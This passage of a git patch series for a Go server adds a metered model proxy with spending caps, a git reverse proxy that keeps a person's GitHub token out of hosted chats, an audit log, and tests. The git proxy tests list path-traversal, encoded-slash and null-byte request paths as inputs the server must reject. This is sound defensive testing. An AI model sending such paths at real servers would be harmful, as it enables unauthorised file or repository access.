Both refusals that offer it spell it from here so they cannot +// drift apart, and README.md in deploy/org quotes the same words. +const requireUIDSetting = "CODEAF_SESSIONHOST_REQUIRE=uid" + type Report struct { OK bool `json:"ok"` Mode string `json:"mode"` @@ -50,13 +55,15 @@ func (r Report) decide() Report { case r.Require == modeUID: r.OK, r.Mode, r.Reason = true, modeUID, "" case r.FenceMode == "none": - r.Reason = "command restrictions are unavailable" + r.Reason = "command restrictions are unavailable on this machine; to start chats with the user switch alone, set " + requireUIDSetting case r.Landlock.ABI < abstractScopeABI: // Abstract Unix sockets belong to no user, so only the fence can keep one // chat from connecting to another's, and only a kernel from Linux 6.12 can // make the fence do that. An operator who accepts the gap says so with - // CODEAF_SESSIONHOST_REQUIRE=uid, which is checked above. - r.Reason = "command restrictions cannot keep one chat's local sockets from another's on this kernel" + // CODEAF_SESSIONHOST_REQUIRE=uid, which is checked above. THE SENTENCE NAMES + // THAT SETTING EXACTLY, because an operator who meets this refusal on a + // machine with an older kernel has no other way to learn what to type. + r.Reason = "command restrictions cannot keep one chat's local sockets from another's on this kernel (Linux 6.12 or newer can); to start chats here anyway, set " + requireUIDSetting default: r.OK, r.Mode, r.Reason = true, modeFenced, "" } From d62b9551bf54f82dd8a37a326cf444cfed2b750f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:10:42 -0500 Subject: [PATCH 048/176] serve: the model door is a metered proxy with caps, and a hosted chat reaches git only through the org server /v1/model/ now serves one modelapi funnel per hosted chat with the person's own key, else the organization's key, else the keyless stub. Every call is metered into the person's My space to the cent, refused in a plain sentence when the chat's cap or the person's monthly limit is reached (402) or the chat is making too many requests at once (429), and never falls back to the organization's key when a person's own key cannot be opened. /v1/hosted/git/ is a smart-HTTP reverse proxy to an allowed git host: the chat authenticates with its model bearer, the org injects the person's GitHub token upstream, so the token never enters the chat, and each git operation writes one line to the audit log (GET /v1/hosted/audit). Replaces the one-line routes stub left by the first stage. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/git_proxy.go | 175 +++++ internal/factory/serve/git_proxy_test.go | 241 +++++++ internal/factory/serve/hosted_audit.go | 111 ++++ internal/factory/serve/hosted_audit_test.go | 87 +++ internal/factory/serve/hosted_proxy.go | 23 +- internal/factory/serve/model_proxy.go | 23 +- internal/factory/serve/model_route.go | 526 +++++++++++++++ internal/factory/serve/model_route_test.go | 659 +++++++++++++++++++ internal/factory/serve/serve.go | 5 + internal/factory/serve/zz_git_routes_stub.go | 6 - 10 files changed, 1843 insertions(+), 13 deletions(-) create mode 100644 internal/factory/serve/git_proxy.go create mode 100644 internal/factory/serve/git_proxy_test.go create mode 100644 internal/factory/serve/hosted_audit.go create mode 100644 internal/factory/serve/hosted_audit_test.go create mode 100644 internal/factory/serve/model_route.go create mode 100644 internal/factory/serve/model_route_test.go delete mode 100644 internal/factory/serve/zz_git_routes_stub.go diff --git a/internal/factory/serve/git_proxy.go b/internal/factory/serve/git_proxy.go new file mode 100644 index 0000000000..3c00b37da8 --- /dev/null +++ b/internal/factory/serve/git_proxy.go @@ -0,0 +1,175 @@ +package serve + +import ( + "errors" + "io" + "log" + "net/http" + "net/http/httputil" + "net/url" + "path" + "regexp" + "strconv" + "strings" + "sync" +) + +const ( + gitPrefix = "/v1/hosted/git/" + gitRequestCap = 1 << 30 + + gitSignIn = "Sign in to use git here." + gitNoSuchPlace = "There is nothing at that address." + gitHostDenied = "This server does not reach that git host for chats." + gitNoAccess = "You have no GitHub access stored on this server yet. Add it, then try again." + gitAccessUnreadable = "Your GitHub access could not be opened on this server." + gitNotAnswering = "That git host is not answering." + gitAccessRejected = "That git host did not accept your GitHub access." + gitTooLarge = "That request is too large for this server." +) + +var gitName = regexp.MustCompile(`^[A-Za-z0-9][A-Za-z0-9._-]{0,99}$`) + +func (h *Handler) gitPath(r *http.Request) bool { + hc := h.config.Hosted + return hc != nil && hc.state != nil && strings.HasPrefix(r.URL.Path, gitPrefix) +} + +func (h *Handler) hostedGitRoutes() { + h.read("/v1/hosted/audit", h.readHostedAudit) +} + +type hostedGitRequest struct { + host, repo, rest, service string +} + +func parseHostedGitRequest(r *http.Request) (hostedGitRequest, bool) { + rest := strings.TrimPrefix(r.URL.Path, gitPrefix) + if strings.ContainsAny(rest, "\\\x00") || strings.Contains(rest, "..") || + strings.Contains(strings.ToLower(r.URL.EscapedPath()), "%2f") || path.Clean("/"+rest) != "/"+rest { + return hostedGitRequest{}, false + } + parts := strings.SplitN(rest, "/", 4) + if len(parts) != 4 || parts[0] == "" { + return hostedGitRequest{}, false + } + owner, repo := parts[1], strings.TrimSuffix(parts[2], ".git") + if !gitName.MatchString(owner) || !gitName.MatchString(repo) { + return hostedGitRequest{}, false + } + var service string + switch parts[3] { + case "info/refs": + if r.Method != http.MethodGet { + return hostedGitRequest{}, false + } + switch r.URL.RawQuery { + case "service=git-upload-pack": + service = "git-upload-pack" + case "service=git-receive-pack": + service = "git-receive-pack" + default: + return hostedGitRequest{}, false + } + case "git-upload-pack", "git-receive-pack": + if r.Method != http.MethodPost || r.URL.RawQuery != "" || r.URL.ForceQuery { + return hostedGitRequest{}, false + } + service = parts[3] + default: + return hostedGitRequest{}, false + } + return hostedGitRequest{strings.ToLower(parts[0]), owner + "/" + repo, parts[3], service}, true +} + +func (h *Handler) hostedGit(w http.ResponseWriter, r *http.Request) { + hs := h.config.Hosted.state + _, password, basic := r.BasicAuth() + row, live := hs.bearers.lookup(password, h.clock()) + if !basic || !live { + w.Header().Set("WWW-Authenticate", `Basic realm="codeaf"`) + http.Error(w, gitSignIn, http.StatusUnauthorized) + return + } + request, valid := parseHostedGitRequest(r) + if !valid { + http.Error(w, gitNoSuchPlace, http.StatusNotFound) + return + } + var target *url.URL + for _, origin := range hs.gitHosts { + if u, err := url.Parse(origin); err == nil && u.Host == request.host { + target = u + break + } + } + if target == nil { + http.Error(w, gitHostDenied, http.StatusForbidden) + return + } + key, _, err := h.hostedKeyLookup()(row.person, "github") + if err != nil { + http.Error(w, gitAccessUnreadable, http.StatusForbidden) + return + } + if key == "" { + http.Error(w, gitNoAccess, http.StatusForbidden) + return + } + if r.ContentLength > gitRequestCap { + http.Error(w, gitTooLarge, http.StatusRequestEntityTooLarge) + return + } + r.Body = http.MaxBytesReader(w, r.Body, gitRequestCap) + target.Path = "/" + request.repo + ".git/" + request.rest + target.RawPath = "" + target.RawQuery = r.URL.RawQuery + + audit := sync.OnceFunc(func() { + if request.rest == "info/refs" { + h.hostedAudit(row.person, row.session, "git", request.host, request.repo, request.service) + } + }) + (&httputil.ReverseProxy{ + Rewrite: func(pr *httputil.ProxyRequest) { + pr.Out.URL = target + pr.Out.Host = "" + // A short allow-list keeps organization credentials and addresses + // out of requests to the git host. + allowed := make(http.Header) + for _, name := range []string{"Git-Protocol", "Content-Type", "Content-Encoding", "Accept", "Accept-Encoding", "User-Agent", "Content-Length"} { + if values := pr.Out.Header.Values(name); len(values) > 0 { + allowed[http.CanonicalHeaderKey(name)] = values + } + } + pr.Out.Header = allowed + pr.Out.Trailer = nil + pr.Out.SetBasicAuth("x-access-token", key) + }, + FlushInterval: -1, + Transport: hs.modelTransport, + ErrorLog: log.New(io.Discard, "", 0), + ErrorHandler: func(w http.ResponseWriter, _ *http.Request, _ error) { + audit() + http.Error(w, gitNotAnswering, http.StatusBadGateway) + }, + ModifyResponse: func(res *http.Response) error { + if res.StatusCode >= 300 && res.StatusCode < 400 { + return errors.New("upstream redirected git") + } + audit() + res.Header.Del("Set-Cookie") + if res.StatusCode == http.StatusUnauthorized || res.StatusCode == http.StatusForbidden { + res.Body.Close() + body := gitAccessRejected + "\n" + res.Body = io.NopCloser(strings.NewReader(body)) + res.ContentLength = int64(len(body)) + res.Header.Set("Content-Length", strconv.Itoa(len(body))) + res.Header.Set("Content-Type", "text/plain; charset=utf-8") + res.Header.Del("Content-Encoding") + res.Trailer = nil + } + return nil + }, + }).ServeHTTP(w, r) +} diff --git a/internal/factory/serve/git_proxy_test.go b/internal/factory/serve/git_proxy_test.go new file mode 100644 index 0000000000..c4d1e82186 --- /dev/null +++ b/internal/factory/serve/git_proxy_test.go @@ -0,0 +1,241 @@ +package serve + +import ( + "encoding/base64" + "errors" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" +) + +const personGitKey = "sk-test-github-0001" + +type gitRig struct { + *hostedRig + host, chat, access string +} + +func newGitRig(t *testing.T, upstream http.HandlerFunc) *gitRig { + t.Helper() + rg := newHostedRig(t) + if upstream == nil { + upstream = func(w http.ResponseWriter, _ *http.Request) { + _, _ = io.WriteString(w, "0000") + } + } + rg.up.mu.Lock() + rg.up.handler = upstream + rg.up.mu.Unlock() + rg.h.config.Hosted.state.gitHosts = []string{rg.upSrv.URL} + previous := hostedKeyForHook + hostedKeyForHook = func(person, provider string) (string, bool, error) { + if person == "abir" && provider == "github" { + return personGitKey, true, nil + } + return "", false, nil + } + t.Cleanup(func() { hostedKeyForHook = previous }) + chat := rg.create(t, "abir") + return &gitRig{rg, strings.TrimPrefix(rg.upSrv.URL, "http://"), chat, rg.host.tokenOf(chat)} +} + +func gitBasic(password string) string { + return "Basic " + base64.StdEncoding.EncodeToString([]byte("codeaf:"+password)) +} + +func (g *gitRig) git(method, suffix, password string) *httptest.ResponseRecorder { + return g.send("", method, "/v1/hosted/git/"+g.host+"/"+suffix, nil, + map[string]string{"Authorization": gitBasic(password)}) +} + +func TestP1_6_CloneAndPushCarryThePersonsTokenAndTheChatNever(t *testing.T) { + g := newGitRig(t, func(w http.ResponseWriter, r *http.Request) { + w.Header().Set("Content-Type", "application/x-git-"+strings.TrimPrefix(r.URL.Path, "/org/repo.git/")+"-result") + w.Header().Set("Set-Cookie", "credential="+personGitKey) + _, _ = io.WriteString(w, "0000") + }) + const base = "https://org.test/v1/hosted/git/" + for _, service := range []string{"git-upload-pack", "git-receive-pack"} { + for _, step := range []struct{ method, path, uri, body string }{ + {"GET", "/info/refs?service=" + service, "/org/repo.git/info/refs?service=" + service, ""}, + {"POST", "/" + service, "/org/repo.git/" + service, "0000"}, + } { + req := httptest.NewRequest(step.method, base+g.host+"/org/repo"+step.path, strings.NewReader(step.body)) + req.SetBasicAuth("any-user", g.access) + req.Header.Set("Cookie", "my=sign-in") + req.Header.Set("Proxy-Authorization", "private") + req.Header.Set("Forwarded", "for=192.0.2.1") + req.Header.Set("X-Forwarded-Host", "wrong.test") + req.Header.Set("X-Real-Ip", "192.0.2.1") + req.Header.Set("X-Codeaf-Person", "mia") + req.Header.Set("Git-Protocol", "version=2") + req.Header.Set("Content-Type", "application/x-"+service+"-request") + + w := httptest.NewRecorder() + g.h.ServeHTTP(w, req) + if w.Code != 200 || w.Body.String() != "0000" || w.Header().Get("Set-Cookie") != "" { + t.Fatalf("git response: %d %v %q", w.Code, w.Header(), w.Body) + } + for _, values := range w.Header() { + for _, value := range values { + if strings.Contains(value, personGitKey) { + t.Fatal("upstream credential reached the chat") + } + } + } + seen := g.up.requests() + got := seen[len(seen)-1] + if got.method != step.method || got.uri != step.uri || got.body != step.body || + got.header.Get("Authorization") != "Basic "+base64.StdEncoding.EncodeToString([]byte("x-access-token:"+personGitKey)) || + got.header.Get("Git-Protocol") != "version=2" || got.header.Get("Content-Type") != req.Header.Get("Content-Type") { + t.Fatalf("git upstream request differs: %#v", got) + } + for _, header := range []string{"Cookie", "Proxy-Authorization", "Forwarded", "X-Forwarded-Host", "X-Real-Ip", "X-Codeaf-Person"} { + if got.header.Get(header) != "" { + t.Errorf("identity header %s reached upstream", header) + } + } + } + } + if got := len(g.up.requests()); got != 4 { + t.Fatalf("upstream calls = %d, want 4", got) + } +} + +func TestP1_6_RefusalsAreSentencesAndMakeNoUpstreamCall(t *testing.T) { + g := newGitRig(t, func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/org/redirect.git/info/refs" { + http.Redirect(w, r, "/out-of-scope", http.StatusFound) + return + } + w.Header().Set("Content-Encoding", "legacy") + w.Header().Set("Set-Cookie", "credential="+personGitKey) + http.Error(w, personGitKey, 403) + }) + for _, tc := range []struct{ method, path string }{ + {"GET", "org/repo/info/refs"}, + {"GET", "org/repo/info/refs?service=git-other"}, + {"GET", "org/repo/info/refs?service=git-upload-pack&service=git-receive-pack"}, + {"GET", "org/repo/info/refs?service=git-upload-pack&"}, + {"GET", "org/repo/info/refs/?service=git-upload-pack"}, + {"GET", "org/repo/git-receive-pack"}, + {"POST", "org/repo/git-upload-pack?service=git-upload-pack"}, + {"POST", "org/repo/info/refs?service=git-receive-pack"}, + {"GET", "org/repo/../repo/info/refs?service=git-upload-pack"}, + {"GET", "org//repo/info/refs?service=git-upload-pack"}, + {"GET", "org%2frepo/info/refs?service=git-upload-pack"}, + {"GET", "org/repo/info%2Frefs?service=git-upload-pack"}, + {"GET", "org/repo%5C/info/refs?service=git-upload-pack"}, + {"GET", "org/repo%00/info/refs?service=git-upload-pack"}, + {"GET", "org/repo..git/info/refs?service=git-upload-pack"}, + {"GET", "org/.git/info/refs?service=git-upload-pack"}, + {"GET", "-org/repo/info/refs?service=git-upload-pack"}, + } { + wantGitSentence(t, g.git(tc.method, tc.path, g.access), 404, "There is nothing at that address.") + } + auth := map[string]string{"Authorization": gitBasic(g.access)} + wantGitSentence(t, g.send("", "GET", "/v1/hosted/git/other.test/org/repo/info/refs?service=git-upload-pack", nil, auth), + 403, "This server does not reach that git host for chats.") + hostedKeyForHook = func(string, string) (string, bool, error) { + return "", true, errors.New("fake stored credential could not be opened") + } + wantGitSentence(t, g.git("GET", "org/repo/info/refs?service=git-upload-pack", g.access), + 403, "Your GitHub access could not be opened on this server.") + if got := len(g.up.requests()); got != 0 { + t.Fatalf("refused requests made %d upstream calls", got) + } + if entries := gitAuditEntries(t, g, "abir"); len(entries) != 0 { + t.Fatalf("refused requests wrote audit entries: %#v", entries) + } + + hostedKeyForHook = func(string, string) (string, bool, error) { return personGitKey, true, nil } + w := g.git("GET", "org/redirect/info/refs?service=git-upload-pack", g.access) + wantGitSentence(t, w, 502, "That git host is not answering.") + if w.Header().Get("Location") != "" || len(g.up.requests()) != 1 { + t.Fatal("upstream redirect escaped") + } + w = g.git("GET", "org/denied/info/refs?service=git-upload-pack", g.access) + wantGitSentence(t, w, 403, "That git host did not accept your GitHub access.") + if w.Header().Get("Set-Cookie") != "" || w.Header().Get("Content-Encoding") != "" { + t.Fatalf("replacement response kept upstream headers: %v", w.Header()) + } +} + +func TestP1_6_AnotherPersonsTokenIsNeverUsed(t *testing.T) { + g := newGitRig(t, nil) + chat := g.create(t, "mia") + wantGitSentence(t, g.git("GET", "org/repo/info/refs?service=git-upload-pack", g.hostedRig.host.tokenOf(chat)), + 403, "You have no GitHub access stored on this server yet. Add it, then try again.") + if len(g.up.requests()) != 0 { + t.Fatal("another person's access was tried upstream") + } +} + +func TestP1_6_RevokedBearerEndsGitAtOnce(t *testing.T) { + g := newGitRig(t, nil) + target := "org/repo/info/refs?service=git-upload-pack" + if w := g.git("GET", target, g.access); w.Code != 200 { + t.Fatalf("before stop: %d %s", w.Code, w.Body) + } + if w := g.send("abir", "POST", "/v1/hosted/sessions/"+g.chat+"/stop", nil, nil); w.Code != 204 { + t.Fatalf("stop: %d %s", w.Code, w.Body) + } + w := g.git("GET", target, g.access) + wantGitSentence(t, w, 401, "Sign in to use git here.") + if len(g.up.requests()) != 1 { + t.Fatal("the stopped chat reached upstream") + } +} + +func TestP1_6_NoBearerGetsAChallenge(t *testing.T) { + g := newGitRig(t, nil) + target := "/v1/hosted/git/" + g.host + "/org/repo/info/refs?service=git-upload-pack" + for _, header := range []string{"", "Bearer " + g.access, gitBasic("unknown")} { + w := g.send("abir", "GET", target, nil, map[string]string{"Authorization": header}) + wantGitSentence(t, w, 401, "Sign in to use git here.") + if got := w.Header().Get("WWW-Authenticate"); got != `Basic realm="codeaf"` { + t.Errorf("challenge = %q", got) + } + } + if len(g.up.requests()) != 0 { + t.Fatal("an unauthenticated request reached upstream") + } +} + +func TestP1_6_HostedOffAnswersAsAnyUnknownPath(t *testing.T) { + g := newGitRig(t, nil) + g.cfg.Hosted = nil + restartAccessOrg(t, g.wsOrg) + for _, who := range []string{"", "abir"} { + unknown := g.send(who, "GET", "/v1/not-a-known-path", nil, nil) + for _, target := range []string{"/v1/hosted/git/git.test/org/repo/info/refs?service=git-upload-pack", "/v1/hosted/audit"} { + got := g.send(who, "GET", target, nil, nil) + if got.Code != unknown.Code || got.Header().Get("WWW-Authenticate") != unknown.Header().Get("WWW-Authenticate") || + errorOf(t, got.Body.Bytes()) != errorOf(t, unknown.Body.Bytes()) { + t.Fatalf("unknown path gives %d %s while %s gives %d %s", unknown.Code, unknown.Body, target, got.Code, got.Body) + } + } + } +} + +func TestP1_9_GitSentencesArePlain(t *testing.T) { + for _, words := range []string{gitSignIn, gitNoSuchPlace, gitHostDenied, gitNoAccess, gitAccessUnreadable, gitNotAnswering, gitAccessRejected, gitTooLarge} { + if !strings.HasSuffix(words, ".") { + t.Errorf("missing sentence punctuation: %q", words) + } + for _, term := range strings.Fields("uid sandbox sessionhost fence landlock daemon bearer token kek dek proxy") { + if strings.Contains(strings.ToLower(words), term) { + t.Errorf("%q contains %q", words, term) + } + } + } +} + +func wantGitSentence(t *testing.T, w *httptest.ResponseRecorder, status int, sentence string) { + t.Helper() + if w.Code != status || w.Body.String() != sentence+"\n" || !strings.HasPrefix(w.Header().Get("Content-Type"), "text/plain") { + t.Fatalf("git response = %d %q %q, want %d %q", w.Code, w.Header().Get("Content-Type"), w.Body, status, sentence) + } +} diff --git a/internal/factory/serve/hosted_audit.go b/internal/factory/serve/hosted_audit.go new file mode 100644 index 0000000000..9b7e9c8b39 --- /dev/null +++ b/internal/factory/serve/hosted_audit.go @@ -0,0 +1,111 @@ +package serve + +import ( + "bufio" + "encoding/json" + "errors" + "log" + "net/http" + "os" + "path/filepath" + "sync" + "time" +) + +const hostedAuditLimit = 200 + +type hostedAuditEntry struct { + At string `json:"at"` + Person string `json:"person"` + Chat string `json:"chat"` + Kind string `json:"kind"` + Host string `json:"host"` + Repo string `json:"repo"` + Service string `json:"service"` +} + +// One organization process owns the file, so the same lock gives readers +// complete lines and prevents concurrent writers interleaving appends. +var hostedAuditMu sync.Mutex + +func (h *Handler) hostedAuditPath() string { + if root := h.eventRoot(); root != "" { + return filepath.Join(root, "hosted-audit.jsonl") + } + return "" +} + +func (h *Handler) hostedAudit(person, chat, kind, host, repo, service string) { + entry := hostedAuditEntry{ + At: h.clock().UTC().Format(time.RFC3339Nano), Person: person, Chat: chat, + Kind: kind, Host: host, Repo: repo, Service: service, + } + if err := appendHostedAudit(h.hostedAuditPath(), entry); err != nil { + log.Print("audit") + } +} + +func appendHostedAudit(path string, entry hostedAuditEntry) error { + data, err := json.Marshal(entry) + if err != nil { + return err + } + hostedAuditMu.Lock() + defer hostedAuditMu.Unlock() + f, err := os.OpenFile(path, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0600) + if err != nil { + return err + } + _, err = f.Write(append(data, '\n')) + return errors.Join(err, f.Sync(), f.Close()) +} + +func (h *Handler) readHostedAudit(w http.ResponseWriter, r *http.Request) { + person, ok := h.hostedPerson(w, r) + if !ok { + return + } + entries, err := hostedAuditFor(h.hostedAuditPath(), person) + if err != nil { + h.fail(w, http.StatusInternalServerError, "The server could not read your git activity.") + return + } + h.write(w, http.StatusOK, struct { + Entries []hostedAuditEntry `json:"entries"` + }{entries}) +} + +func hostedAuditFor(path, person string) ([]hostedAuditEntry, error) { + hostedAuditMu.Lock() + defer hostedAuditMu.Unlock() + entries := make([]hostedAuditEntry, 0, hostedAuditLimit) + f, err := os.Open(path) + if errors.Is(err, os.ErrNotExist) { + return entries, nil + } + if err != nil { + return nil, err + } + defer f.Close() + + // Reuse the oldest slot once the window is full to bound the memory + // needed to select one person's latest entries from a shared file. + next := 0 + scan := bufio.NewScanner(f) + for scan.Scan() { + var entry hostedAuditEntry + if json.Unmarshal(scan.Bytes(), &entry) != nil || entry.Person != person { + continue + } + if len(entries) < hostedAuditLimit { + entries = append(entries, entry) + continue + } + entries[next] = entry + next = (next + 1) % hostedAuditLimit + } + if next != 0 { + entries = append(entries[next:], entries[:next]...) + } + return entries, scan.Err() +} diff --git a/internal/factory/serve/hosted_audit_test.go b/internal/factory/serve/hosted_audit_test.go new file mode 100644 index 0000000000..42c0fd7836 --- /dev/null +++ b/internal/factory/serve/hosted_audit_test.go @@ -0,0 +1,87 @@ +package serve + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestP1_6_OneAuditLinePerOperation(t *testing.T) { + g := newGitRig(t, nil) + path := filepath.Join(g.st.Root(), "hosted-audit.jsonl") + for i, service := range []string{"git-upload-pack", "git-receive-pack"} { + if w := g.git("GET", "org/repo.git/info/refs?service="+service, g.access); w.Code != 200 { + t.Fatalf("discovery: %d %s", w.Code, w.Body) + } + for range 3 { + if w := g.git("POST", "org/repo/"+service, g.access); w.Code != 200 { + t.Fatalf("pack: %d %s", w.Code, w.Body) + } + } + raw, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if strings.Count(string(raw), "\n") != i+1 || strings.Contains(string(raw), g.access) || strings.Contains(string(raw), personGitKey) { + t.Fatal("audit line count or credential isolation failed") + } + } + info, err := os.Stat(path) + if err != nil { + t.Fatal(err) + } + if info.Mode().Perm() != 0600 { + t.Fatalf("audit mode = %o", info.Mode().Perm()) + } + entries := gitAuditEntries(t, g, "abir") + if len(entries) != 2 { + t.Fatalf("got %d audit entries, want 2", len(entries)) + } + for i, entry := range entries { + want := []string{"git-upload-pack", "git-receive-pack"}[i] + at, err := time.Parse(time.RFC3339Nano, entry.At) + if err != nil || at.Location() != time.UTC || entry.Person != "abir" || entry.Chat != g.chat || + entry.Kind != "git" || entry.Host != g.host || entry.Repo != "org/repo" || entry.Service != want { + t.Errorf("audit entry %d = %#v", i, entry) + } + } + if got := gitAuditEntries(t, g, "mia"); len(got) != 0 { + t.Errorf("another person saw audit entries: %#v", got) + } + if w := g.send("", "GET", "/v1/hosted/audit", nil, nil); w.Code != 401 { + t.Errorf("unsigned audit request: %d %s", w.Code, w.Body) + } +} + +func TestP1_6_AuditShowsOnlyTheLatest200OwnLines(t *testing.T) { + g := newGitRig(t, nil) + for i := range 203 { + g.h.hostedAudit("abir", g.chat, "git", g.host, fmt.Sprintf("org/repo-%03d", i), "git-upload-pack") + g.h.hostedAudit("mia", "another-chat", "git", g.host, "org/other", "git-upload-pack") + } + entries := gitAuditEntries(t, g, "abir") + if len(entries) != 200 { + t.Fatalf("returned %d audit entries, want 200", len(entries)) + } + for i, entry := range entries { + if entry.Person != "abir" || entry.Repo != fmt.Sprintf("org/repo-%03d", i+3) { + t.Fatalf("wrong audit entry at %d: %#v", i, entry) + } + } +} + +func gitAuditEntries(t *testing.T, g *gitRig, person string) []hostedAuditEntry { + t.Helper() + w := g.send(person, "GET", "/v1/hosted/audit", nil, nil) + var body struct { + Entries []hostedAuditEntry `json:"entries"` + } + if w.Code != 200 || json.Unmarshal(w.Body.Bytes(), &body) != nil || body.Entries == nil { + t.Fatalf("audit as %s: %d %s", person, w.Code, w.Body) + } + return body.Entries +} diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index 114a14d38b..43c520481e 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -19,6 +19,7 @@ import ( "github.com/Agent-Field/codeaf/internal/factory" "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/Agent-Field/codeaf/internal/provider/modelapi" ) // This file lets a signed-in person run a whole chat on the organization's own @@ -42,6 +43,14 @@ type HostedConfig struct { ModelUpstream string // ModelUpstreamKey is the upstream's own key, empty for a keyless stub. ModelUpstreamKey string + // SessionCapUSD is what one chat may spend before its model calls are + // refused, in dollars; zero means the default of $5.00 + // (CODEAF_HOSTED_SESSION_CAP_USD). + SessionCapUSD float64 + // CompleterFor builds the funnel one call on a model goes out through, for + // an upstream address and a key. Nil keeps the pass-through of P0 for + // chat completions (the unmetered road a server without the model road has). + CompleterFor func(base, key string) func(model string) modelapi.Completer // ServerKey is the raw text of CODEAF_SERVER_KEY: 64 hexadecimal // characters, or the base64 of 32 bytes. It seals the keys people store on @@ -78,6 +87,8 @@ type hostedState struct { // is refused, never replaced by the organization's. keys *personKeys keysErr error + // models is the registry of each chat's metered model server (model_route.go). + models modelRegistry // attach serializes the first attach of a chat with the push of its // credentials. Without it a second window attaching at the same moment // would see a live bearer, skip the push and reach the chat's host before @@ -110,7 +121,7 @@ var hostedIDForm = regexp.MustCompile(`^hs_[0-9a-f]{24}$`) // complete and well formed, because a half-set feature that starts anyway // would run chats with a secret nobody checked; the error says which part and // never repeats a value. -func ParseHostedConfig(rawURL, secret, modelURL, upstream, upstreamKey string) (*HostedConfig, error) { +func ParseHostedConfig(rawURL, secret, modelURL, upstream, upstreamKey string, defaultUpstream ...bool) (*HostedConfig, error) { rawURL = strings.TrimSpace(rawURL) if rawURL == "" { return nil, nil @@ -129,8 +140,11 @@ func ParseHostedConfig(rawURL, secret, modelURL, upstream, upstreamKey string) ( if cfg.ModelURL, _, err = hostedAddress("CODEAF_HOSTED_MODEL_URL", modelURL); err != nil { return nil, err } - if cfg.ModelUpstream, _, err = hostedAddress("CODEAF_HOSTED_MODEL_UPSTREAM", upstream); err != nil { - return nil, err + // The metered caller can supply its provider's default when no override is set. + if strings.TrimSpace(upstream) != "" || len(defaultUpstream) == 0 || !defaultUpstream[0] { + if cfg.ModelUpstream, _, err = hostedAddress("CODEAF_HOSTED_MODEL_UPSTREAM", upstream); err != nil { + return nil, err + } } return cfg, nil } @@ -158,7 +172,7 @@ func (h *Handler) hostedRoutes() { if hc == nil { return } - checked, err := ParseHostedConfig(hc.URL, hc.Secret, hc.ModelURL, hc.ModelUpstream, hc.ModelUpstreamKey) + checked, err := ParseHostedConfig(hc.URL, hc.Secret, hc.ModelURL, hc.ModelUpstream, hc.ModelUpstreamKey, hc.CompleterFor != nil) if err != nil || checked == nil { h.config.Hosted = nil return @@ -460,6 +474,7 @@ func (h *Handler) hostedEnd(w http.ResponseWriter, r *http.Request, method, suff hs := h.config.Hosted.state status, header, body, err := hs.call(r.Context(), method, "/v1/sessions/"+id+suffix, person, nil) hs.bearers.revokeFor(id, person) + hs.models.forget(id, person) if h.hostedFailed(w, status, err) { return } diff --git a/internal/factory/serve/model_proxy.go b/internal/factory/serve/model_proxy.go index 390dd1cfa1..edd5f37c99 100644 --- a/internal/factory/serve/model_proxy.go +++ b/internal/factory/serve/model_proxy.go @@ -342,9 +342,9 @@ func modelRefuse(w http.ResponseWriter, status int, words string) { func (h *Handler) modelProxy(w http.ResponseWriter, r *http.Request) { hs := h.config.Hosted.state token := bearer(r) - if _, ok := hs.bearers.lookup(token, h.clock()); !ok { - w.Header().Set("WWW-Authenticate", `Bearer realm="model"`) - modelRefuse(w, http.StatusUnauthorized, modelEnded) + row, ok := hs.bearers.lookup(token, h.clock()) + if !ok { + h.modelAccessEnded(w) return } if r.Method != http.MethodGet && r.Method != http.MethodPost { @@ -365,6 +365,23 @@ func (h *Handler) modelProxy(w http.ResponseWriter, r *http.Request) { return } r.Body = http.MaxBytesReader(w, r.Body, modelRequestCap) + // A chat can list models or complete a message. Account routes such as + // /key, /credits, /generation and /auth stay private to the organization. + switch { + case r.Method == http.MethodPost && "/"+rest == hostedCompletionPath: + if h.config.Hosted.CompleterFor != nil { + h.serveHostedCompletion(w, r, token, row) + return + } + case r.Method == http.MethodGet && (rest == "models" || strings.HasPrefix(rest, "models/") && len(rest) > len("models/")): + default: + modelRefuse(w, http.StatusNotFound, modelNoSuchPlace) + return + } + if hs.upstream == nil { + modelRefuse(w, http.StatusBadGateway, modelNotAnswer) + return + } (&httputil.ReverseProxy{ Rewrite: func(pr *httputil.ProxyRequest) { pr.Out.URL.Path = "/" + rest diff --git a/internal/factory/serve/model_route.go b/internal/factory/serve/model_route.go new file mode 100644 index 0000000000..ced4347678 --- /dev/null +++ b/internal/factory/serve/model_route.go @@ -0,0 +1,526 @@ +package serve + +import ( + "bytes" + "context" + "crypto/rand" + "encoding/json" + "errors" + "fmt" + "log" + "net/http" + "strconv" + "strings" + "sync" + "sync/atomic" + "time" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/api" + "github.com/Agent-Field/codeaf/internal/factory/record" + "github.com/Agent-Field/codeaf/internal/factory/store" + lanes "github.com/Agent-Field/codeaf/internal/lane" + "github.com/Agent-Field/codeaf/internal/provider" + "github.com/Agent-Field/codeaf/internal/provider/modelapi" +) + +const ( + defaultHostedSessionCap = 5.00 + hostedModelIdle = 10 * time.Minute + hostedModelInFlight = 4 + + hostedChatLimit = "This chat has reached its spending limit of $%.2f, so it is paused. Start a new chat to carry on." + hostedMonthLimit = "You have reached your monthly limit of $%.2f, so this chat is paused. The organization's operator can raise it in Settings." + hostedModelBusy = "This chat is already making as many requests as it may at once. Try again in a moment." + hostedOwnKey = "Your own model key could not be opened on this server, so this chat paused instead of using the organization's." + hostedLimitCheck = "This chat could not check its limit just now." +) + +var hostedCompletionPath = modelapi.ChatURL("") + +type modelRegistry struct { + mu sync.Mutex + entries map[string]*hostedModel + closed bool +} + +type hostedModel struct { + server *modelapi.Server + person string + inFlight int + idle *time.Timer + closing chan struct{} + + // Only the two metering callbacks set this flag, for the duration of + // their synchronous call into modelapi's bank. Receipts keep the original + // flag even when a later request has already selected a different key. + billingMu sync.Mutex + ownCharge bool +} + +type hostedModelRefusal struct { + status int + message string +} + +func (h *Handler) 